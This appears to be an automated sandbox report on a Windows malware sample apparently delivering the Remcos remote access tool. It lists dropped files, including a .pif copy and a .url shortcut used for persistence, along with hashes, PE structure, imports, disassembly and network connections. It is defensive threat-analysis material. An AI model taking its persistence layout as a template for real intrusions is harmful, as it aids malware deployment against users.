Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: ReversingLabs, Detection: 83% Antivirus: Virustotal, Detection: 68%, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d......f.^........& ....."...$................<a.............................0................ ..............................................................`..(...............\........................... ...(................................................... ...0!.......".................. .P`. ........@.......(..............@.p.. .......P.......0..............@.P@. ..(....`.......6..............@.0@. .......p.......:..............@.0@. ..................................p.. ...............<..............@.0@. ...............>..............@.0.. ....X............F..............@.@.. ....h............H..............@.`.. ..\............J..............@.0B/4...................L..............@.PB/19..................P..............@..B/31.....%...........................@..B/45.....q...........................@..B/57.....

C:\Users\Public\Libraries\nmfsxfjX.pif

Download File

Process:	C:\Users\user\Desktop\udVh4Ist4Z.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	68096
Entropy (8bit):	6.328046551801531
Encrypted:	false
SSDEEP:	1536:lR2rJpByeL+39Ua1ITgA8wpuO5CU4GGMGcT4idU:lR2lg9Ua1egkCU60U
MD5:	C116D3604CEAFE7057D77FF27552C215
SHA1:	452B14432FB5758B46F2897AECCD89F7C82A727D
SHA-256:	7BCDC2E607ABC65EF93AFD009C3048970D9E8D1C2A18FC571562396B13EBB301
SHA-512:	9202A00EEAF4C5BE94DE32FD41BFEA40FC32D368955D49B7BAD2B5C23C4EBC92DCCB37D99F5A14E53AD674B63F1BAA6EFB1FEB27225C86693EAD3262A26D66C6
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 3% Antivirus: Virustotal, Detection: 0%, Browse
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................................................................................................................................................................................................................................................................................PE..L....8.......................p....................@.............................................. ...................p.......`...............................................................P.......................................................text............................... ..`.data....p.......0..................@....tls.........@......................@....rdata.......P......................@..P.idata.......`......................@..@.edata.......p......................@..@

C:\Users\Public\Xjfxsfmn.url

Download File

Process:	C:\Users\user\Desktop\udVh4Ist4Z.exe
File Type:	MS Windows 95 Internet shortcut text (URL=<file:"C:\\Users\\Public\\Libraries\\Xjfxsfmn.PIF">), ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	100
Entropy (8bit):	5.0888566309110495
Encrypted:	false
SSDEEP:	3:HRAbABGQYmTWAX+rSF55i0XMNdWD1Osb6U+K90y:HRYFVmTWDyzYUD1OE/b0y
MD5:	570987CEFD2924D7D4799ED446EA8A55
SHA1:	9287AAFF54FAF5B69A9B6E9965B39BAA6B99F063
SHA-256:	EEC192DB3F64EF0C6838C862E8618CEC18DC157BBC93C937908AC8FFDD59B464
SHA-512:	58D44C1311E9B4DA3947EBF6189E6B380033E7E2A8A112E11BBFA79A57CAB00EF4B7D5A5CED6F30D4495AF2ACCA42B2DD0B8396DE585BBBD1F079998A5390D3E
Malicious:	true
Preview:	[InternetShortcut]..URL=file:"C:\\Users\\Public\\Libraries\\Xjfxsfmn.PIF"..IconIndex=21..HotKey=63..

C:\Users\user\AppData\Local\VirtualStore\ProgramData\Remcos\Loader.Log

Download File

Process:	C:\ProgramData\Remcos\remcos.exe
File Type:	ASCII text, with CRLF line terminators
Category:	modified
Size (bytes):	366
Entropy (8bit):	4.665424305888495
Encrypted:	false
SSDEEP:	6:+VaRdNpgRqtDajMyc0opRdNpgRqtDajMyc0opRdNpgRqtDajMyc0ov:NjRDtyc0oVjRDtyc0oVjRDtyc0ov
MD5:	FEC9FF49E3AE268178230CDB3FF67676
SHA1:	B84497F32A7990AE46C9BC74698468187A076C04
SHA-256:	A5EB9AA311F946178BE64D284F4F1FCE6372F95CB19B07E749172C346A7B2C75
SHA-512:	8932674400526EACB7B48F507DE7EEB828FF7FE5D931F35515C194505069FE5AB5450FE2E760E4AA7710271B7CD29A18C05725C70E8B6117313EB3BDE0F01667
Malicious:	false
Preview:	24-04-24.1059: Mercury/32 Loader Started..24-04-24.1059: Loader encountered Windows error 2 creating Mercury/32 process...24-04-24.1059: Mercury/32 Loader Started..24-04-24.1059: Loader encountered Windows error 2 creating Mercury/32 process...24-04-24.1059: Mercury/32 Loader Started..24-04-24.1059: Loader encountered Windows error 2 creating Mercury/32 process...

C:\Users\user\AppData\Roaming\Remcos\Loader.Log

Download File

Process:	C:\Users\user\AppData\Roaming\Remcos\remcos.exe
File Type:	ASCII text, with CRLF line terminators
Category:	modified
Size (bytes):	366
Entropy (8bit):	4.665424305888495
Encrypted:	false
SSDEEP:	6:+VaRdNpgRqtDajMyc0opRdNpgRqtDajMyc0opRdNpgRqtDajMyc0ov:NjRDtyc0oVjRDtyc0oVjRDtyc0ov
MD5:	FEC9FF49E3AE268178230CDB3FF67676
SHA1:	B84497F32A7990AE46C9BC74698468187A076C04
SHA-256:	A5EB9AA311F946178BE64D284F4F1FCE6372F95CB19B07E749172C346A7B2C75
SHA-512:	8932674400526EACB7B48F507DE7EEB828FF7FE5D931F35515C194505069FE5AB5450FE2E760E4AA7710271B7CD29A18C05725C70E8B6117313EB3BDE0F01667
Malicious:	false
Preview:	24-04-24.1059: Mercury/32 Loader Started..24-04-24.1059: Loader encountered Windows error 2 creating Mercury/32 process...24-04-24.1059: Mercury/32 Loader Started..24-04-24.1059: Loader encountered Windows error 2 creating Mercury/32 process...24-04-24.1059: Mercury/32 Loader Started..24-04-24.1059: Loader encountered Windows error 2 creating Mercury/32 process...

C:\Users\user\AppData\Roaming\Remcos\remcos.exe

Download File

Process:	C:\Users\Public\Libraries\nmfsxfjX.pif
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	68096
Entropy (8bit):	6.328046551801531
Encrypted:	false
SSDEEP:	1536:lR2rJpByeL+39Ua1ITgA8wpuO5CU4GGMGcT4idU:lR2lg9Ua1egkCU60U
MD5:	C116D3604CEAFE7057D77FF27552C215
SHA1:	452B14432FB5758B46F2897AECCD89F7C82A727D
SHA-256:	7BCDC2E607ABC65EF93AFD009C3048970D9E8D1C2A18FC571562396B13EBB301
SHA-512:	9202A00EEAF4C5BE94DE32FD41BFEA40FC32D368955D49B7BAD2B5C23C4EBC92DCCB37D99F5A14E53AD674B63F1BAA6EFB1FEB27225C86693EAD3262A26D66C6
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 3% Antivirus: Virustotal, Detection: 0%, Browse
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................................................................................................................................................................................................................................................................................PE..L....8.......................p....................@.............................................. ...................p.......`...............................................................P.......................................................text............................... ..`.data....p.......0..................@....tls.........@......................@....rdata.......P......................@..P.idata.......`......................@..@.edata.......p......................@..@

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.422853453364174
TrID:	Win32 Executable (generic) a (10002005/4) 99.66% Win32 Executable Delphi generic (14689/80) 0.15% Windows Screen Saver (13104/52) 0.13% Win16/32 Executable Delphi generic (2074/23) 0.02% Generic Win/DOS Executable (2004/3) 0.02%
File name:	udVh4Ist4Z.exe
File size:	1'639'424 bytes
MD5:	2cc30d206669699e58870623365fef82
SHA1:	de5e70f094d0b72660aa57b87667edd9d52971fc
SHA256:	42ac8e7e9df9877af1382f5626fd74e63210d307f6d577cd5b387ffd0c9520bd
SHA512:	2f1f275b9a928844d8f97dc07aa4d0f53da61fd06a507424a873ba128e71d2754e710dbebe1935adc3dada94b42417b1fc30a1915a40b2cffc655c55d7c62005
SSDEEP:	24576:7MkT4gLKu9KKozJQd/HJNRO/BhM6wIJp4m+3bu8U2flxAv:QkTpT9K1mzyhM6wW4mEQ2W
TLSH:	E775BE51B790D1B3E03B10FED73AB5D862CDBAA4295374CCB2D50A7BDE37982244528E
File Content Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7.......................................................................................................................................

File Icon


Icon Hash:	3575b4a8b0b085d1

Static PE Info

General

Entrypoint:	0x4575c0
Entrypoint Section:	CODE
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, BYTES_REVERSED_LO, 32BIT_MACHINE, BYTES_REVERSED_HI
DLL Characteristics:
Time Stamp:	0x2A425E19 [Fri Jun 19 22:22:17 1992 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	55bb4abe492867a8202968458cfd638d

Entrypoint Preview

Instruction
push ebp
mov ebp, esp
add esp, FFFFFFF0h
mov eax, 00457400h
call 00007F8F54B91525h
mov eax, dword ptr [0056C65Ch]
mov eax, dword ptr [eax]
call 00007F8F54BD9899h
mov ecx, dword ptr [0056C740h]
mov eax, dword ptr [0056C65Ch]
mov eax, dword ptr [eax]
mov edx, dword ptr [00456D98h]
call 00007F8F54BD9899h
mov eax, dword ptr [0056C65Ch]
mov eax, dword ptr [eax]
call 00007F8F54BD990Dh
call 00007F8F54B8F4E0h
lea eax, dword ptr [eax+00h]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x171000	0x78	.edata
IMAGE_DIRECTORY_ENTRY_IMPORT	0x16e000	0x2066	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x17b000	0x1c600	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x174000	0x6328	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x173000	0x18	.rdata
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
CODE	0x1000	0x56608	0x56800	e749dfadfcac9668fb6395a24d87ee54	False	0.5225823022037572	data	6.515156263316965	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
DATA	0x58000	0x1147cc	0x114800	f3b3abebaed6fcdff591bc5a977c1e25	False	0.7515937570637432	data	7.548892177394611	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
BSS	0x16d000	0xd5d	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x16e000	0x2066	0x2200	3aa6d5d6785cddb9a5bee660a602eb8e	False	0.35340073529411764	data	4.887767818013599	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.edata	0x171000	0x78	0x200	86a99c9586c90c6cc57ed7fd9ed47346	False	0.2109375	data	1.5388005609521742	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_SHARED, IMAGE_SCN_MEM_READ
.tls	0x172000	0x10	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rdata	0x173000	0x18	0x200	9d1bba21368430faa0bf768fbfaa7fe5	False	0.05078125	MacBinary, Mon Feb 6 07:28:16 2040 INVALID date, modified Mon Feb 6 07:28:16 2040 "W"	0.2069200177871819	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_SHARED, IMAGE_SCN_MEM_READ
.reloc	0x174000	0x6328	0x6400	3a96abebf4210d131401c2199c50cc0a	False	0.6482421875	data	6.687430221930037	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_SHARED, IMAGE_SCN_MEM_READ
.rsrc	0x17b000	0x1c600	0x1c600	76ae21a9e1fd9d25b479364b03fa95c9	False	0.13988504955947137	data	4.178255960193848	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_SHARED, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	ZLIB Complexity
RT_CURSOR	0x17b800	0x134	Targa image data - Map 64 x 65536 x 1 +32 "\001"	0.38636363636363635
RT_CURSOR	0x17b934	0x134	data	0.4642857142857143
RT_CURSOR	0x17ba68	0x134	data	0.4805194805194805
RT_CURSOR	0x17bb9c	0x134	data	0.38311688311688313
RT_CURSOR	0x17bcd0	0x134	data	0.36038961038961037
RT_CURSOR	0x17be04	0x134	data	0.4090909090909091
RT_CURSOR	0x17bf38	0x134	Targa image data - RGB 64 x 65536 x 1 +32 "\001"	0.4967532467532468
RT_ICON	0x17c06c	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4096, resolution 3779 x 3779 px/m	0.28635084427767354
RT_ICON	0x17d114	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9216, resolution 3779 x 3779 px/m	0.18278008298755186
RT_ICON	0x17f6bc	0x5488	Device independent bitmap graphic, 72 x 144 x 32, image size 20736, resolution 3779 x 3779 px/m	0.11275415896487985
RT_ICON	0x184b44	0x67e8	Device independent bitmap graphic, 80 x 160 x 32, image size 25600, resolution 3779 x 3779 px/m	0.10086466165413534
RT_ICON	0x18b32c	0x94a8	Device independent bitmap graphic, 96 x 192 x 32, image size 36864, resolution 3779 x 3779 px/m	0.08608366617616145
RT_STRING	0x1947d4	0x1d4	AmigaOS bitmap font "n", fc_YSize 27392, 18688 elements, 2nd "S", 3rd	0.43162393162393164
RT_STRING	0x1949a8	0x1c8	data	0.4298245614035088
RT_STRING	0x194b70	0xe8	data	0.603448275862069
RT_STRING	0x194c58	0x2f8	data	0.45
RT_STRING	0x194f50	0xd8	data	0.5879629629629629
RT_STRING	0x195028	0x22c	data	0.48201438848920863
RT_STRING	0x195254	0x3f4	data	0.3715415019762846
RT_STRING	0x195648	0x370	data	0.39431818181818185
RT_STRING	0x1959b8	0x3e8	data	0.33
RT_STRING	0x195da0	0x234	data	0.475177304964539
RT_STRING	0x195fd4	0xec	data	0.5508474576271186
RT_STRING	0x1960c0	0x1b4	data	0.5206422018348624
RT_STRING	0x196274	0x3e4	data	0.32028112449799195
RT_STRING	0x196658	0x358	data	0.4158878504672897
RT_STRING	0x1969b0	0x2b4	data	0.4060693641618497
RT_RCDATA	0x196c64	0x10	data	1.5
RT_RCDATA	0x196c74	0x22c	data	0.7751798561151079
RT_RCDATA	0x196ea0	0x652	Delphi compiled form 'TForm1'	0.43325092707045737
RT_GROUP_CURSOR	0x1974f4	0x14	Lotus unknown worksheet or configuration, revision 0x1	1.25
RT_GROUP_CURSOR	0x197508	0x14	Lotus unknown worksheet or configuration, revision 0x1	1.25
RT_GROUP_CURSOR	0x19751c	0x14	Lotus unknown worksheet or configuration, revision 0x1	1.3
RT_GROUP_CURSOR	0x197530	0x14	Lotus unknown worksheet or configuration, revision 0x1	1.3
RT_GROUP_CURSOR	0x197544	0x14	Lotus unknown worksheet or configuration, revision 0x1	1.3
RT_GROUP_CURSOR	0x197558	0x14	Lotus unknown worksheet or configuration, revision 0x1	1.3
RT_GROUP_CURSOR	0x19756c	0x14	Lotus unknown worksheet or configuration, revision 0x1	1.3
RT_GROUP_ICON	0x197580	0x4c	data	0.8421052631578947

Imports

DLL	Import
kernel32.dll	DeleteCriticalSection, LeaveCriticalSection, EnterCriticalSection, InitializeCriticalSection, VirtualFree, VirtualAlloc, LocalFree, LocalAlloc, GetVersion, GetCurrentThreadId, InterlockedDecrement, InterlockedIncrement, VirtualQuery, WideCharToMultiByte, MultiByteToWideChar, lstrlenA, lstrcpynA, LoadLibraryExA, GetThreadLocale, GetStartupInfoA, GetProcAddress, GetModuleHandleA, GetModuleFileNameA, GetLocaleInfoA, GetLastError, GetCommandLineA, FreeLibrary, FindFirstFileA, FindClose, ExitProcess, WriteFile, UnhandledExceptionFilter, SetFilePointer, SetEndOfFile, RtlUnwind, ReadFile, RaiseException, GetStdHandle, GetFileSize, GetFileType, CreateFileA, CloseHandle
user32.dll	GetKeyboardType, LoadStringA, MessageBoxA, CharNextA
advapi32.dll	RegQueryValueExA, RegOpenKeyExA, RegCloseKey
oleaut32.dll	SysFreeString, SysReAllocStringLen, SysAllocStringLen
kernel32.dll	TlsSetValue, TlsGetValue, LocalAlloc, GetModuleHandleA
advapi32.dll	RegQueryValueExA, RegOpenKeyExA, RegCloseKey
kernel32.dll	lstrcpyA, WriteFile, WaitForSingleObject, VirtualQuery, VirtualAlloc, Sleep, SizeofResource, SetThreadLocale, SetFilePointer, SetEvent, SetErrorMode, SetEndOfFile, ResetEvent, ReadFile, MulDiv, LockResource, LoadResource, LoadLibraryA, LeaveCriticalSection, InitializeCriticalSection, GlobalUnlock, GlobalReAlloc, GlobalHandle, GlobalLock, GlobalFree, GlobalFindAtomA, GlobalDeleteAtom, GlobalAlloc, GlobalAddAtomA, GetVersionExA, GetVersion, GetTickCount, GetThreadLocale, GetSystemInfo, GetStringTypeExA, GetStdHandle, GetProcAddress, GetModuleHandleA, GetModuleFileNameA, GetLocaleInfoA, GetLocalTime, GetLastError, GetFullPathNameA, GetDiskFreeSpaceA, GetDateFormatA, GetCurrentThreadId, GetCurrentProcessId, GetCPInfo, GetACP, FreeResource, InterlockedExchange, FreeLibrary, FormatMessageA, FindResourceA, EnumCalendarInfoA, EnterCriticalSection, DeleteCriticalSection, CreateThread, CreateFileA, CreateEventA, CompareStringA, CloseHandle
version.dll	VerQueryValueA, GetFileVersionInfoSizeA, GetFileVersionInfoA
gdi32.dll	UnrealizeObject, StretchBlt, SetWindowOrgEx, SetViewportOrgEx, SetTextColor, SetStretchBltMode, SetROP2, SetPixel, SetDIBColorTable, SetBrushOrgEx, SetBkMode, SetBkColor, SelectPalette, SelectObject, SaveDC, RestoreDC, Rectangle, RectVisible, RealizePalette, PatBlt, MoveToEx, MaskBlt, LineTo, IntersectClipRect, GetWindowOrgEx, GetTextMetricsA, GetTextExtentPoint32A, GetSystemPaletteEntries, GetStockObject, GetPixel, GetPaletteEntries, GetObjectA, GetDeviceCaps, GetDIBits, GetDIBColorTable, GetDCOrgEx, GetCurrentPositionEx, GetClipBox, GetBrushOrgEx, GetBitmapBits, GdiFlush, ExcludeClipRect, DeleteObject, DeleteDC, CreateSolidBrush, CreatePenIndirect, CreatePalette, CreateHalftonePalette, CreateFontIndirectA, CreateDIBitmap, CreateDIBSection, CreateCompatibleDC, CreateCompatibleBitmap, CreateBrushIndirect, CreateBitmap, BitBlt
user32.dll	CreateWindowExA, WindowFromPoint, WinHelpA, WaitMessage, UpdateWindow, UnregisterClassA, UnhookWindowsHookEx, TranslateMessage, TranslateMDISysAccel, TrackPopupMenu, SystemParametersInfoA, ShowWindow, ShowScrollBar, ShowOwnedPopups, ShowCursor, SetWindowsHookExA, SetWindowPos, SetWindowPlacement, SetWindowLongA, SetTimer, SetScrollRange, SetScrollPos, SetScrollInfo, SetRect, SetPropA, SetParent, SetMenuItemInfoA, SetMenu, SetForegroundWindow, SetFocus, SetCursor, SetClassLongA, SetCapture, SetActiveWindow, SendMessageA, ScrollWindow, ScreenToClient, RemovePropA, RemoveMenu, ReleaseDC, ReleaseCapture, RegisterWindowMessageA, RegisterClipboardFormatA, RegisterClassA, RedrawWindow, PtInRect, PostQuitMessage, PostMessageA, PeekMessageA, OffsetRect, OemToCharA, MessageBoxA, MapWindowPoints, MapVirtualKeyA, LoadStringA, LoadKeyboardLayoutA, LoadIconA, LoadCursorA, LoadBitmapA, KillTimer, IsZoomed, IsWindowVisible, IsWindowEnabled, IsWindow, IsRectEmpty, IsIconic, IsDialogMessageA, IsChild, InvalidateRect, IntersectRect, InsertMenuItemA, InsertMenuA, InflateRect, GetWindowThreadProcessId, GetWindowTextA, GetWindowRect, GetWindowPlacement, GetWindowLongA, GetWindowDC, GetTopWindow, GetSystemMetrics, GetSystemMenu, GetSysColorBrush, GetSysColor, GetSubMenu, GetScrollRange, GetScrollPos, GetScrollInfo, GetPropA, GetParent, GetWindow, GetMenuStringA, GetMenuState, GetMenuItemInfoA, GetMenuItemID, GetMenuItemCount, GetMenu, GetLastActivePopup, GetKeyboardState, GetKeyboardLayoutList, GetKeyboardLayout, GetKeyState, GetKeyNameTextA, GetIconInfo, GetForegroundWindow, GetFocus, GetDlgItem, GetDesktopWindow, GetDCEx, GetDC, GetCursorPos, GetCursor, GetClientRect, GetClassNameA, GetClassInfoA, GetCapture, GetActiveWindow, FrameRect, FindWindowA, FillRect, EqualRect, EnumWindows, EnumThreadWindows, EndPaint, EnableWindow, EnableScrollBar, EnableMenuItem, DrawTextA, DrawMenuBar, DrawIconEx, DrawIcon, DrawFrameControl, DrawEdge, DispatchMessageA, DestroyWindow, DestroyMenu, DestroyIcon, DestroyCursor, DeleteMenu, DefWindowProcA, DefMDIChildProcA, DefFrameProcA, CreatePopupMenu, CreateMenu, CreateIcon, ClientToScreen, CheckMenuItem, CallWindowProcA, CallNextHookEx, BeginPaint, CharNextA, CharLowerA, CharToOemA, AdjustWindowRectEx, ActivateKeyboardLayout
kernel32.dll	Sleep
oleaut32.dll	SafeArrayPtrOfIndex, SafeArrayGetUBound, SafeArrayGetLBound, SafeArrayCreate, VariantChangeType, VariantCopy, VariantClear, VariantInit
comctl32.dll	ImageList_SetIconSize, ImageList_GetIconSize, ImageList_Write, ImageList_Read, ImageList_GetDragImage, ImageList_DragShowNolock, ImageList_SetDragCursorImage, ImageList_DragMove, ImageList_DragLeave, ImageList_DragEnter, ImageList_EndDrag, ImageList_BeginDrag, ImageList_Remove, ImageList_DrawEx, ImageList_Draw, ImageList_GetBkColor, ImageList_SetBkColor, ImageList_ReplaceIcon, ImageList_Add, ImageList_SetImageCount, ImageList_GetImageCount, ImageList_Destroy, ImageList_Create
comdlg32.dll	GetSaveFileNameA, GetOpenFileNameA

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Apr 24, 2024 10:58:58.625662088 CEST	49710	443	192.168.2.6	13.107.137.11
Apr 24, 2024 10:58:58.625694990 CEST	443	49710	13.107.137.11	192.168.2.6
Apr 24, 2024 10:58:58.625865936 CEST	49710	443	192.168.2.6	13.107.137.11
Apr 24, 2024 10:58:58.628118038 CEST	49710	443	192.168.2.6	13.107.137.11
Apr 24, 2024 10:58:58.628143072 CEST	443	49710	13.107.137.11	192.168.2.6
Apr 24, 2024 10:58:58.628271103 CEST	49710	443	192.168.2.6	13.107.137.11
Apr 24, 2024 10:58:58.825982094 CEST	49711	443	192.168.2.6	13.107.137.11
Apr 24, 2024 10:58:58.826001883 CEST	443	49711	13.107.137.11	192.168.2.6
Apr 24, 2024 10:58:58.826096058 CEST	49711	443	192.168.2.6	13.107.137.11
Apr 24, 2024 10:58:58.829837084 CEST	49711	443	192.168.2.6	13.107.137.11
Apr 24, 2024 10:58:58.829855919 CEST	443	49711	13.107.137.11	192.168.2.6
Apr 24, 2024 10:58:59.375566959 CEST	443	49711	13.107.137.11	192.168.2.6
Apr 24, 2024 10:58:59.375649929 CEST	49711	443	192.168.2.6	13.107.137.11
Apr 24, 2024 10:58:59.379081964 CEST	49711	443	192.168.2.6	13.107.137.11
Apr 24, 2024 10:58:59.379090071 CEST	443	49711	13.107.137.11	192.168.2.6
Apr 24, 2024 10:58:59.379333973 CEST	443	49711	13.107.137.11	192.168.2.6
Apr 24, 2024 10:58:59.425055981 CEST	49711	443	192.168.2.6	13.107.137.11
Apr 24, 2024 10:58:59.428112984 CEST	49711	443	192.168.2.6	13.107.137.11
Apr 24, 2024 10:58:59.476109982 CEST	443	49711	13.107.137.11	192.168.2.6
Apr 24, 2024 10:58:59.910589933 CEST	443	49711	13.107.137.11	192.168.2.6
Apr 24, 2024 10:58:59.910662889 CEST	443	49711	13.107.137.11	192.168.2.6
Apr 24, 2024 10:58:59.910836935 CEST	49711	443	192.168.2.6	13.107.137.11
Apr 24, 2024 10:58:59.912903070 CEST	49711	443	192.168.2.6	13.107.137.11
Apr 24, 2024 10:58:59.912941933 CEST	443	49711	13.107.137.11	192.168.2.6
Apr 24, 2024 10:59:15.196784973 CEST	49715	443	192.168.2.6	13.107.137.11
Apr 24, 2024 10:59:15.196818113 CEST	443	49715	13.107.137.11	192.168.2.6
Apr 24, 2024 10:59:15.196878910 CEST	49715	443	192.168.2.6	13.107.137.11
Apr 24, 2024 10:59:15.197391987 CEST	49715	443	192.168.2.6	13.107.137.11
Apr 24, 2024 10:59:15.197442055 CEST	443	49715	13.107.137.11	192.168.2.6
Apr 24, 2024 10:59:15.197484016 CEST	49715	443	192.168.2.6	13.107.137.11
Apr 24, 2024 10:59:15.236804962 CEST	49716	443	192.168.2.6	13.107.137.11
Apr 24, 2024 10:59:15.236838102 CEST	443	49716	13.107.137.11	192.168.2.6
Apr 24, 2024 10:59:15.236912012 CEST	49716	443	192.168.2.6	13.107.137.11
Apr 24, 2024 10:59:15.239173889 CEST	49716	443	192.168.2.6	13.107.137.11
Apr 24, 2024 10:59:15.239197016 CEST	443	49716	13.107.137.11	192.168.2.6
Apr 24, 2024 10:59:15.758847952 CEST	443	49716	13.107.137.11	192.168.2.6
Apr 24, 2024 10:59:15.758981943 CEST	49716	443	192.168.2.6	13.107.137.11
Apr 24, 2024 10:59:15.765146971 CEST	49716	443	192.168.2.6	13.107.137.11
Apr 24, 2024 10:59:15.765185118 CEST	443	49716	13.107.137.11	192.168.2.6
Apr 24, 2024 10:59:15.765412092 CEST	443	49716	13.107.137.11	192.168.2.6
Apr 24, 2024 10:59:15.809225082 CEST	49716	443	192.168.2.6	13.107.137.11
Apr 24, 2024 10:59:15.856112957 CEST	443	49716	13.107.137.11	192.168.2.6
Apr 24, 2024 10:59:16.179497957 CEST	443	49716	13.107.137.11	192.168.2.6
Apr 24, 2024 10:59:16.179562092 CEST	443	49716	13.107.137.11	192.168.2.6
Apr 24, 2024 10:59:16.179687023 CEST	49716	443	192.168.2.6	13.107.137.11
Apr 24, 2024 10:59:16.179877043 CEST	49716	443	192.168.2.6	13.107.137.11
Apr 24, 2024 10:59:16.179914951 CEST	443	49716	13.107.137.11	192.168.2.6
Apr 24, 2024 10:59:16.179945946 CEST	49716	443	192.168.2.6	13.107.137.11
Apr 24, 2024 10:59:16.179961920 CEST	443	49716	13.107.137.11	192.168.2.6
Apr 24, 2024 10:59:41.686218977 CEST	49724	443	192.168.2.6	13.107.137.11
Apr 24, 2024 10:59:41.686271906 CEST	443	49724	13.107.137.11	192.168.2.6
Apr 24, 2024 10:59:41.686343908 CEST	49724	443	192.168.2.6	13.107.137.11
Apr 24, 2024 10:59:41.686451912 CEST	49724	443	192.168.2.6	13.107.137.11
Apr 24, 2024 10:59:41.686490059 CEST	443	49724	13.107.137.11	192.168.2.6
Apr 24, 2024 10:59:41.686544895 CEST	49724	443	192.168.2.6	13.107.137.11
Apr 24, 2024 10:59:41.700259924 CEST	49725	443	192.168.2.6	13.107.137.11
Apr 24, 2024 10:59:41.700313091 CEST	443	49725	13.107.137.11	192.168.2.6
Apr 24, 2024 10:59:41.700400114 CEST	49725	443	192.168.2.6	13.107.137.11
Apr 24, 2024 10:59:41.701802015 CEST	49725	443	192.168.2.6	13.107.137.11
Apr 24, 2024 10:59:41.701817989 CEST	443	49725	13.107.137.11	192.168.2.6
Apr 24, 2024 10:59:42.221200943 CEST	443	49725	13.107.137.11	192.168.2.6
Apr 24, 2024 10:59:42.221275091 CEST	49725	443	192.168.2.6	13.107.137.11
Apr 24, 2024 10:59:42.223120928 CEST	49725	443	192.168.2.6	13.107.137.11
Apr 24, 2024 10:59:42.223129034 CEST	443	49725	13.107.137.11	192.168.2.6
